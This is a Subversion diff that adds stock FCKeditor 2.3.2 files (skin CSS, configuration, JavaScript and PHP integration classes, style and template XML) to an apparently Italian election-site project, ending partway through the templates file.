+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top:1px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    padding-top: 1px ;
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #f7f7f7;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+	### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #316ac5 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c1d2ee;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/fckconfig.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/fckconfig.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/fckconfig.js	(revision 44)
@@ -0,0 +1,225 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckconfig.js
+ * 	Editor configuration settings.
+ * 	
+ * 	Follow this link for more information:
+ * 	http://wiki.fckeditor.net/Developer%27s_Guide/Configuration/Configurations_Settings
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKConfig.CustomConfigurationsPath = '' ;
+
+FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css' ;
+FCKConfig.ToolbarComboPreviewCSS = '' ;
+
+FCKConfig.DocType = '' ;
+
+FCKConfig.BaseHref = '';
+
+FCKConfig.FullPage = false ;
+
+FCKConfig.Debug = false ;
+FCKConfig.AllowQueryStringDebug = true ;
+
+FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/silver/' ;
+FCKConfig.PreloadImages = [ FCKConfig.SkinPath + 'images/toolbar.start.gif', FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif' ] ;
+
+FCKConfig.PluginsPath = FCKConfig.BasePath + 'plugins/' ;
+
+// FCKConfig.Plugins.Add( 'autogrow' ) ;
+FCKConfig.AutoGrowMax = 400 ;
+
+// FCKConfig.ProtectedSource.Add( /<%[\s\S]*?%>/g ) ;	// ASP style server side code <%...%>
+// FCKConfig.ProtectedSource.Add( /<\?[\s\S]*?\?>/g ) ;	// PHP style server side code
+// FCKConfig.ProtectedSource.Add( /(<asp:[^\>]+>[\s|\S]*?<\/asp:[^\>]+>)|(<asp:[^\>]+\/>)/gi ) ;	// ASP.Net style tags <asp:control>
+
+FCKConfig.AutoDetectLanguage	= true ;
+FCKConfig.DefaultLanguage		= 'en' ;
+FCKConfig.ContentLangDirection	= 'ltr' ;
+
+FCKConfig.ProcessHTMLEntities	= true ;
+FCKConfig.IncludeLatinEntities	= true ;
+FCKConfig.IncludeGreekEntities	= true ;
+
+FCKConfig.ProcessNumericEntities = false ;
+
+FCKConfig.AdditionalNumericEntities = ''  ;		// Single Quote: "'"
+
+FCKConfig.FillEmptyBlocks	= true ;
+
+FCKConfig.FormatSource		= true ;
+FCKConfig.FormatOutput		= true ;
+FCKConfig.FormatIndentator	= '    ' ;
+
+FCKConfig.ForceStrongEm = true ;
+FCKConfig.GeckoUseSPAN	= false ;
+FCKConfig.StartupFocus	= false ;
+FCKConfig.ForcePasteAsPlainText	= false ;
+FCKConfig.AutoDetectPasteFromWord = true ;	// IE only.
+FCKConfig.ForceSimpleAmpersand	= false ;
+FCKConfig.TabSpaces		= 0 ;
+FCKConfig.ShowBorders	= true ;
+FCKConfig.SourcePopup	= false ;
+FCKConfig.UseBROnCarriageReturn	= false ;	// IE only.
+FCKConfig.ToolbarStartExpanded	= true ;
+FCKConfig.ToolbarCanCollapse	= true ;
+FCKConfig.IgnoreEmptyParagraphValue = true ;
+FCKConfig.PreserveSessionOnFileBrowser = false ;
+FCKConfig.FloatingPanelsZIndex = 10000 ;
+
+FCKConfig.TemplateReplaceAll = true ;
+FCKConfig.TemplateReplaceCheckbox = true ;
+
+FCKConfig.ToolbarLocation = 'In' ;
+FCKConfig.ToolbarSets['Eleonline'] = [
+	['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']
+] ;
+
+FCKConfig.ToolbarSets["User"] = [
+	['Source','FitWindow','-'],
+	['Cut','Copy','Paste','PasteText','PasteWord','-','Print'],
+	['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
+	['Bold','Italic','Underline','StrikeThrough','-','Subscript','Superscript'],
+	['OrderedList','UnorderedList','-','Outdent','Indent'],
+	['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+	['Link','Unlink','Anchor'],
+	['Table','Rule','Smiley','SpecialChar','PageBreak','UniversalKey'],
+	['TextColor','BGColor'],
+	['-','About']
+] ;
+FCKConfig.ToolbarSets["Artikel"] = [
+	['Source','FitWindow','-'],
+	['Cut','Copy','Paste','PasteText','PasteWord','-','Print'],
+	['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
+	['Bold','Italic','Underline','StrikeThrough','-','Subscript','Superscript'],
+	['OrderedList','UnorderedList','-','Outdent','Indent'],
+	['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+	['Link','Unlink','Anchor'],
+	['Table','Rule','Smiley','SpecialChar','PageBreak','UniversalKey'],
+	['TextColor','BGColor'],
+	['-','About']
+] ;
+FCKConfig.ToolbarSets["Admin"] = [
+	['Source','FitWindow','DocProps','-','Save','NewPage','-','Templates'],
+	['Cut','Copy','Paste','PasteText','PasteWord','-','Print'],
+	['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
+	['Bold','Italic','Underline','StrikeThrough','-','Subscript','Superscript'],
+	['OrderedList','UnorderedList','-','Outdent','Indent'],
+	['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+	['Link','Unlink','Anchor'],
+	['Image','Flash','Table','Rule','Smiley','SpecialChar','PageBreak','UniversalKey'],
+	'/',
+	['Style','FontFormat','FontName','FontSize'],
+	['TextColor','BGColor'],
+	['-','About']
+] ;
+FCKConfig.ToolbarSets["Default"] = [
+	['Source','DocProps','-','Save','NewPage','Preview','-','Templates'],
+	['Cut','Copy','Paste','PasteText','PasteWord','-','Print','SpellCheck'],
+	['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
+	['Form','Checkbox','Radio','TextField','Textarea','Select','Button','ImageButton','HiddenField'],
+	'/',
+	['Bold','Italic','Underline','StrikeThrough','-','Subscript','Superscript'],
+	['OrderedList','UnorderedList','-','Outdent','Indent'],
+	['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+	['Link','Unlink','Anchor'],
+	['Image','Flash','Table','Rule','Smiley','SpecialChar','PageBreak','UniversalKey'],
+	'/',
+	['Style','FontFormat','FontName','FontSize'],
+	['TextColor','BGColor'],
+	['FitWindow','-','About']
+] ;
+FCKConfig.ToolbarSets["Basic"] = [
+	['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']
+] ;
+
+FCKConfig.ContextMenu = ['Generic','Link','Anchor','Image','Flash','Select','Textarea','Checkbox','Radio','TextField','HiddenField','ImageButton','Button','BulletedList','NumberedList','Table','Form'] ;
+
+FCKConfig.FontColors = '000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,808080,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF' ;
+
+FCKConfig.FontNames		= 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
+FCKConfig.FontSizes		= '1/xx-small;2/x-small;3/small;4/medium;5/large;6/x-large;7/xx-large' ;
+FCKConfig.FontFormats	= 'p;div;pre;address;h1;h2;h3;h4;h5;h6' ;
+
+FCKConfig.StylesXmlPath		= FCKConfig.EditorPath + 'fckstyles.xml' ;
+FCKConfig.TemplatesXmlPath	= FCKConfig.EditorPath + 'fcktemplates.xml' ;
+
+FCKConfig.SpellChecker			= 'ieSpell' ;	// 'ieSpell' | 'SpellerPages'
+FCKConfig.IeSpellDownloadUrl	= 'http://wcarchive.cdrom.com/pub/simtelnet/handheld/webbrow1/ieSpellSetup240428.exe' ;
+
+FCKConfig.MaxUndoLevels = 15 ;
+
+FCKConfig.DisableObjectResizing = false ;
+FCKConfig.DisableFFTableHandles = true ;
+
+FCKConfig.LinkDlgHideTarget		= false ;
+FCKConfig.LinkDlgHideAdvanced	= false ;
+
+FCKConfig.ImageDlgHideLink		= false ;
+FCKConfig.ImageDlgHideAdvanced	= false ;
+
+FCKConfig.FlashDlgHideAdvanced	= false ;
+
+// The following value defines which File Browser connector and Quick Upload 
+// "uploader" to use. It is valid for the default implementaion and it is here
+// just to make this configuration file cleaner. 
+// It is not possible to change this value using an external file or even 
+// inline when creating the editor instance. In that cases you must set the 
+// values of LinkBrowserURL, ImageBrowserURL and so on.
+// Custom implementations should just ignore it.
+var _FileBrowserLanguage	= 'php' ;	// asp | aspx | cfm | lasso | perl | php | py
+var _QuickUploadLanguage	= 'php' ;	// asp | aspx | cfm | lasso | php
+
+// Don't care about the following line. It just calculates the correct connector 
+// extension to use for the default File Browser (Perl uses "cgi").
+var _FileBrowserExtension = _FileBrowserLanguage == 'perl' ? 'cgi' : _FileBrowserLanguage ;
+
+//FCKConfig.LinkBrowser = true ;
+FCKConfig.LinkBrowser = false ;
+FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.LinkBrowserWindowWidth	= FCKConfig.ScreenWidth * 0.7 ;		// 70%
+FCKConfig.LinkBrowserWindowHeight	= FCKConfig.ScreenHeight * 0.7 ;	// 70%
+
+FCKConfig.ImageBrowser = true ;
+FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.ImageBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;	// 70% ;
+FCKConfig.ImageBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;	// 70% ;
+
+FCKConfig.FlashBrowser = true ;
+FCKConfig.FlashBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.FlashBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;	//70% ;
+FCKConfig.FlashBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;	//70% ;
+
+FCKConfig.LinkUpload = false ;
+FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage ;
+FCKConfig.LinkUploadAllowedExtensions	= "" ;			// empty for all
+FCKConfig.LinkUploadDeniedExtensions	= ".(php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi)$" ;	// empty for no one
+
+FCKConfig.ImageUpload = false ;
+FCKConfig.ImageUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Image' ;
+FCKConfig.ImageUploadAllowedExtensions	= ".(jpg|gif|jpeg|png)$" ;		// empty for all
+FCKConfig.ImageUploadDeniedExtensions	= "" ;							// empty for no one
+
+FCKConfig.FlashUpload = false;
+FCKConfig.FlashUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Flash' ;
+FCKConfig.FlashUploadAllowedExtensions	= ".(swf|fla)$" ;		// empty for all
+FCKConfig.FlashUploadDeniedExtensions	= "" ;					// empty for no one
+
+FCKConfig.SmileyPath	= FCKConfig.BasePath + 'images/smiley/msn/' ;
+FCKConfig.SmileyImages	= ['regular_smile.gif','sad_smile.gif','wink_smile.gif','teeth_smile.gif','confused_smile.gif','tounge_smile.gif','embaressed_smile.gif','omg_smile.gif','whatchutalkingabout_smile.gif','angry_smile.gif','angel_smile.gif','shades_smile.gif','devil_smile.gif','cry_smile.gif','lightbulb.gif','thumbs_down.gif','thumbs_up.gif','heart.gif','broken_heart.gif','kiss.gif','envelope.gif'] ;
+FCKConfig.SmileyColumns = 8 ;
+FCKConfig.SmileyWindowWidth		= 320 ;
+FCKConfig.SmileyWindowHeight	= 240 ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.js	(revision 44)
@@ -0,0 +1,211 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckeditor.js
+ * 	This is the integration file for JavaScript.
+ * 
+ * 	It defines the FCKeditor class that can be used to create editor
+ * 	instances in a HTML page in the client side. For server side
+ * 	operations, use the specific integration system.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// FCKeditor Class
+var FCKeditor = function( instanceName, width, height, toolbarSet, value )
+{
+	// Properties
+	this.InstanceName	= instanceName ;
+	this.Width			= width			|| '100%' ;
+	this.Height			= height		|| '200' ;
+	this.ToolbarSet		= toolbarSet	|| 'Default' ;
+	this.Value			= value			|| '' ;
+	this.BasePath		= '/fckeditor/' ;
+	this.CheckBrowser	= true ;
+	this.DisplayErrors	= true ;
+	this.EnableSafari	= false ;		// This is a temporary property, while Safari support is under development.
+	this.EnableOpera	= false ;		// This is a temporary property, while Opera support is under development.
+
+	this.Config			= new Object() ;
+
+	// Events
+	this.OnError		= null ;	// function( source, errorNumber, errorDescription )
+}
+
+FCKeditor.prototype.Version			= '2.3.2' ;
+FCKeditor.prototype.VersionBuild	= '1082' ;
+
+FCKeditor.prototype.Create = function()
+{
+	document.write( this.CreateHtml() ) ;
+}
+
+FCKeditor.prototype.CreateHtml = function()
+{
+	// Check for errors
+	if ( !this.InstanceName || this.InstanceName.length == 0 )
+	{
+		this._ThrowError( 701, 'You must specify an instance name.' ) ;
+		return ;
+	}
+
+	var sHtml = '<div>' ;
+
+	if ( !this.CheckBrowser || FCKeditor_IsCompatibleBrowser() )
+	{
+		sHtml += '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ;
+		sHtml += this._GetConfigHtml() ;
+		sHtml += this._GetIFrameHtml() ;
+	}
+	else
+	{
+		var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
+		var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;
+		sHtml += '<textarea name="' + this.InstanceName + '" rows="4" cols="40" style="width:' + sWidth + ';height:' + sHeight + '">' + this._HTMLEncode( this.Value ) + '<\/textarea>' ;
+	}
+
+	sHtml += '</div>' ;
+	
+	return sHtml ;
+}
+
+FCKeditor.prototype.ReplaceTextarea = function()
+{
+	if ( !this.CheckBrowser || FCKeditor_IsCompatibleBrowser() )
+	{
+		// We must check the elements firstly using the Id and then the name.
+		var oTextarea = document.getElementById( this.InstanceName ) ;
+		var colElementsByName = document.getElementsByName( this.InstanceName ) ;
+		var i = 0;
+		while ( oTextarea || i == 0 )
+		{
+			if ( oTextarea && oTextarea.tagName.toLowerCase() == 'textarea' )
+				break ;
+			oTextarea = colElementsByName[i++] ;
+		}
+		
+		if ( !oTextarea )
+		{
+			alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
+			return ;
+		}
+
+		oTextarea.style.display = 'none' ;
+		this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
+		this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
+	}
+}
+
+FCKeditor.prototype._InsertHtmlBefore = function( html, element )
+{
+	if ( element.insertAdjacentHTML )	// IE
+		element.insertAdjacentHTML( 'beforeBegin', html ) ;
+	else								// Gecko
+	{
+		var oRange = document.createRange() ;
+		oRange.setStartBefore( element ) ;
+		var oFragment = oRange.createContextualFragment( html );
+		element.parentNode.insertBefore( oFragment, element ) ;
+	}
+}
+
+FCKeditor.prototype._GetConfigHtml = function()
+{
+	var sConfig = '' ;
+	for ( var o in this.Config )
+	{
+		if ( sConfig.length > 0 ) sConfig += '&amp;' ;
+		sConfig += escape(o) + '=' + escape( this.Config[o] ) ;
+	}
+
+	return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
+}
+
+FCKeditor.prototype._GetIFrameHtml = function()
+{
+	var sFile = 'fckeditor.html' ;
+	
+	try
+	{
+		if ( (/fcksource=true/i).test( window.top.location.search ) )
+			sFile = 'fckeditor.original.html' ;
+	}
+	catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }
+
+	var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + this.InstanceName ;
+	if (this.ToolbarSet) sLink += '&amp;Toolbar=' + this.ToolbarSet ;
+
+	return '<iframe id="' + this.InstanceName + '___Frame" src="' + sLink + '" width="' + this.Width + '" height="' + this.Height + '" frameborder="0" scrolling="no"></iframe>' ;
+}
+
+// Deprecated (to be removed in the 3.0).
+FCKeditor.prototype._IsCompatibleBrowser = function()
+{
+	return FCKeditor_IsCompatibleBrowser() ;
+}
+
+FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
+{
+	this.ErrorNumber		= errorNumber ;
+	this.ErrorDescription	= errorDescription ;
+
+	if ( this.DisplayErrors )
+	{
+		document.write( '<div style="COLOR: #ff0000">' ) ;
+		document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
+		document.write( '</div>' ) ;
+	}
+
+	if ( typeof( this.OnError ) == 'function' )
+		this.OnError( this, errorNumber, errorDescription ) ;
+}
+
+FCKeditor.prototype._HTMLEncode = function( text )
+{
+	if ( typeof( text ) != "string" )
+		text = text.toString() ;
+
+	text = text.replace(
+		/&/g, "&amp;").replace(
+		/"/g, "&quot;").replace(
+		/</g, "&lt;").replace(
+		/>/g, "&gt;") ;
+
+	return text ;
+}
+
+function FCKeditor_IsCompatibleBrowser()
+{
+	var sAgent = navigator.userAgent.toLowerCase() ;
+
+	// Internet Explorer
+	if ( sAgent.indexOf("msie") != -1 && sAgent.indexOf("mac") == -1 && sAgent.indexOf("opera") == -1 )
+	{
+		var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
+		return ( sBrowserVersion >= 5.5 ) ;
+	}
+
+	// Gecko (Opera 9 tries to behave like Gecko at this point).
+	if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
+		return true ;
+
+	// Opera
+	if ( this.EnableOpera && navigator.appName == 'Opera' && parseInt( navigator.appVersion ) >= 9 )
+			return true ;
+
+	// Safari
+	if ( this.EnableSafari && sAgent.indexOf( 'safari' ) != -1 )
+		return ( sAgent.match( /safari\/(\d+)/ )[1] >= 312 ) ;	// Build must be at least 312 (1.3)
+
+	return false ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/fckeditor.php	(revision 44)
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckeditor.php
+ * 	This is the integration file for PHP.
+ * 	
+ * 	It defines the FCKeditor class that can be used to create editor
+ * 	instances in PHP pages on server side.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+class FCKeditor
+{
+	var $InstanceName ;
+	var $BasePath ;
+	var $Width ;
+	var $Height ;
+	var $ToolbarSet ;
+	var $Value ;
+	var $Config ;
+
+	// PHP 5 Constructor (by Marcus Bointon <coolbru@users.sourceforge.net>)
+	function __construct( $instanceName )
+ 	{
+		$this->InstanceName	= $instanceName ;
+                $strBP = str_replace('\\', '/', dirname($_SERVER['PHP_SELF'])); //Fixes issue on some Windows setups - montego
+		if ($strBP{strlen($strBP)-1} != "/") $strBP	.= "/";
+		$strBP .= 'inc/FCKeditor/';
+		$this->BasePath		= $strBP;
+		$this->Width		= '98%' ;
+		$this->Height		= '200' ;
+		$this->ToolbarSet	= 'PHPNuke' ;
+		$this->Value		= '' ;
+		$this->Config		= array() ;
+	}
+	
+	// PHP 4 Contructor
+	function FCKeditor( $instanceName )
+	{
+		$this->__construct( $instanceName ) ;
+	}
+
+	function Create()
+	{
+		echo $this->CreateHtml() ;
+	}
+	
+	function CreateHtml()
+	{
+		$HtmlValue = htmlspecialchars( $this->Value ) ;
+
+		$Html = '<div>' ;
+		
+		if ( $this->IsCompatible() )
+		{
+			if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+				$File = 'fckeditor.original.html' ;
+			else
+				$File = 'fckeditor.html' ;
+
+			$Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+			
+			if ( $this->ToolbarSet != '' )
+				$Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+			// Render the linked hidden field.
+			$Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+			// Render the configurations hidden field.
+			$Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+			// Render the editor IFRAME.
+			$Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+		}
+		else
+		{
+			if ( strpos( $this->Width, '%' ) === false )
+				$WidthCSS = $this->Width . 'px' ;
+			else
+				$WidthCSS = $this->Width ;
+
+			if ( strpos( $this->Height, '%' ) === false )
+				$HeightCSS = $this->Height . 'px' ;
+			else
+				$HeightCSS = $this->Height ;
+
+			$Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+		}
+
+		$Html .= '</div>' ;
+		
+		return $Html ;
+	}
+
+	function IsCompatible()
+	{
+		global $HTTP_USER_AGENT ;
+
+		if ( isset( $HTTP_USER_AGENT ) )
+			$sAgent = $HTTP_USER_AGENT ;
+		else
+			$sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+		if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+		{
+			$iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+			return ($iVersion >= 5.5) ;
+		}
+		else if ( strpos($sAgent, 'Gecko/') !== false )
+		{
+			$iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+			return ($iVersion >= 20030210) ;
+		}
+		else
+			return false ;
+	}
+
+	function GetConfigFieldString()
+	{
+		$sParams = '' ;
+		$bFirst = true ;
+
+		foreach ( $this->Config as $sKey => $sValue )
+		{
+			if ( $bFirst == false )
+				$sParams .= '&amp;' ;
+			else
+				$bFirst = false ;
+			
+			if ( $sValue === true )
+				$sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+			else if ( $sValue === false )
+				$sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+			else
+				$sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+		}
+		
+		return $sParams ;
+	}
+
+	function EncodeConfig( $valueToEncode )
+	{
+		$chars = array( 
+			'&' => '%26', 
+			'=' => '%3D', 
+			'"' => '%22' ) ;
+
+		return strtr( $valueToEncode,  $chars ) ;
+	}
+}
+
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/fckstyles.xml
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/fckstyles.xml	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/fckstyles.xml	(revision 44)
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstyles.xml
+ * 	This is the sample style definitions file. It makes the styles combo
+ * 	completely customizable.
+ * 	See FCKConfig.StylesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<Styles>
+	<Style name="Image on Left" element="img">
+		<Attribute name="style" value="padding: 5px; margin-right: 5px" />
+		<Attribute name="border" value="2" />
+		<Attribute name="align" value="left" />
+	</Style>
+	<Style name="Image on Right" element="img">
+		<Attribute name="style" value="padding: 5px; margin-left: 5px" />
+		<Attribute name="border" value="2" />
+		<Attribute name="align" value="right" />
+	</Style>
+	<Style name="Custom Bold" element="span">
+		<Attribute name="style" value="font-weight: bold;" />
+	</Style>
+	<Style name="Custom Italic" element="em" />
+	<Style name="Title" element="span">
+		<Attribute name="class" value="Title" />
+	</Style>
+	<Style name="Code" element="span">
+		<Attribute name="class" value="Code" />
+	</Style>
+	<Style name="Title H3" element="h3" />
+	<Style name="Custom Ruler" element="hr">
+		<Attribute name="size" value="1" />
+		<Attribute name="color" value="#ff0000" />
+	</Style>
+</Styles>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/fcktemplates.xml
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/fcktemplates.xml	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/fcktemplates.xml	(revision 44)
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktemplates.xml
+ * 	This is the sample templates definitions file. It makes the "templates" 
+ * 	command completely customizable.
+ * 	See FCKConfig.TemplatesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<Templates imagesBasePath="fck_template/images/">
+	<Template title="Image and Title" image="template1.gif">
+		<Description>One main image with a title and text that surround the image.</Description>
+		<Html>
+			<![CDATA[
+				<img style="MARGIN-RIGHT: 10px" height="100" alt="" width="100" align="left"/>
+				<h3>Type the title here</h3>
+				Type the text here
+			]]>
+		</Html>
+	</Template>
+	<Template title="Strange Template" image="template2.gif">
+		<Description>A template that defines two colums, each one with a title, and some text.</Description>
+		<Html>
+			<![CDATA[
